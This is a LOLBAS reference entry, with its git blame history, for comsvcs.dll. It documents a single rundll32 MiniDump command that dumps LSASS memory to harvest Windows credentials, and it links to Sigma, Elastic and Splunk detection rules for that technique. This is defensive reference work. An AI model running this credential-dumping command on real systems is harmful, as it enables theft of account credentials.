LOLBAS/yml/OSLibraries/comsvcs.yml

---
Name: Comsvcs.dll
Description: COM+ Services
Author: LOLBAS Team
Created: 2019-08-30
Commands:
  - Command: rundll32 C:\windows\system32\comsvcs.dll MiniDump "[LSASS_PID] dump.bin full"
    Description: Calls the MiniDump exported function of comsvcs.dll, which in turns calls MiniDumpWriteDump.
    Usecase: Dump Lsass.exe process memory to retrieve credentials.
    Category: Dump
    Privileges: SYSTEM
    MitreID: T1003.001
    OperatingSystem: Windows
Full_Path:
  - Path: c:\windows\system32\comsvcs.dll
Code_Sample:
  - Code: https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/1ff5e226ad8bed34916c16ccc77ba281ca3203ae/rules/windows/process_creation/win_process_dump_rundll32_comsvcs.yml
  - Sigma: https://github.com/SigmaHQ/sigma/blob/b81839e3ce507df925d6e583e569e1ac3a3894ab/rules/windows/process_access/sysmon_lsass_dump_comsvcs_dll.yml
  - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_comsvcs_procdump.yml
  - Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml
  - Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/dump_lsass_via_comsvcs_dll.yml
Resources:
  - Link: https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
Acknowledgement:
  - Person: modexp
    Handle:
Add Comsvcs.yml: dump lsass via signed DLL. 2019-08-30 14:12:46 +02:00			`---`
			`Name: Comsvcs.dll`
			`Description: COM+ Services`
Adding missing authors 2022-09-11 05:37:10 +02:00			`Author: LOLBAS Team`
Standardise date formats (see https://yaml.org/type/timestamp.html) 2021-01-10 16:04:52 +01:00			`Created: 2019-08-30`
Add Comsvcs.yml: dump lsass via signed DLL. 2019-08-30 14:12:46 +02:00			`Commands:`
			`- Command: rundll32 C:\windows\system32\comsvcs.dll MiniDump "[LSASS_PID] dump.bin full"`
Standardise date formats (see https://yaml.org/type/timestamp.html) 2021-01-10 16:04:52 +01:00			`Description: Calls the MiniDump exported function of comsvcs.dll, which in turns calls MiniDumpWriteDump.`
Adjusted case sensitive type in yml file for Comsvcs 2019-09-16 09:44:14 +02:00			`Usecase: Dump Lsass.exe process memory to retrieve credentials.`
Add Comsvcs.yml: dump lsass via signed DLL. 2019-08-30 14:12:46 +02:00			`Category: Dump`
			`Privileges: SYSTEM`
LSASS realign to T1003.001 2021-11-05 21:35:58 +01:00			`MitreID: T1003.001`
Add Comsvcs.yml: dump lsass via signed DLL. 2019-08-30 14:12:46 +02:00			`OperatingSystem: Windows`
			`Full_Path:`
			`- Path: c:\windows\system32\comsvcs.dll`
			`Code_Sample:`
			`- Code: https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/`
			`Detection:`
Detection Resources and Other Updates (#179) * Add detection links for scripts * Add detection links for OtherMSBins. Fixed and updated as needed. * Add detection links for MSBins. Fixed and updated as needed. * Add detection links for oslibraries * Updating template for Detections * Removing empty Detection:Sigma entries * Remove redundant blank line * Replacing commit URL with file URL Co-authored-by: root <root@DESKTOP-5CR935D.localdomain> Co-authored-by: Wietze <wietze@users.noreply.github.com> 2021-11-15 14:19:03 +01:00			`- Sigma: https://github.com/SigmaHQ/sigma/blob/1ff5e226ad8bed34916c16ccc77ba281ca3203ae/rules/windows/process_creation/win_process_dump_rundll32_comsvcs.yml`
			`- Sigma: https://github.com/SigmaHQ/sigma/blob/b81839e3ce507df925d6e583e569e1ac3a3894ab/rules/windows/process_access/sysmon_lsass_dump_comsvcs_dll.yml`
			`- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_comsvcs_procdump.yml`
			`- Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml`
			`- Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/dump_lsass_via_comsvcs_dll.yml`
Add Comsvcs.yml: dump lsass via signed DLL. 2019-08-30 14:12:46 +02:00			`Resources:`
			`- Link: https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/`
Fixed some typos 2019-09-17 20:45:49 +02:00			`Acknowledgement:`
Acknowledgement fix for comsvcs 2019-09-16 09:50:01 +02:00			`- Person: modexp`
Standardise date formats (see https://yaml.org/type/timestamp.html) 2021-01-10 16:04:52 +01:00			`Handle:`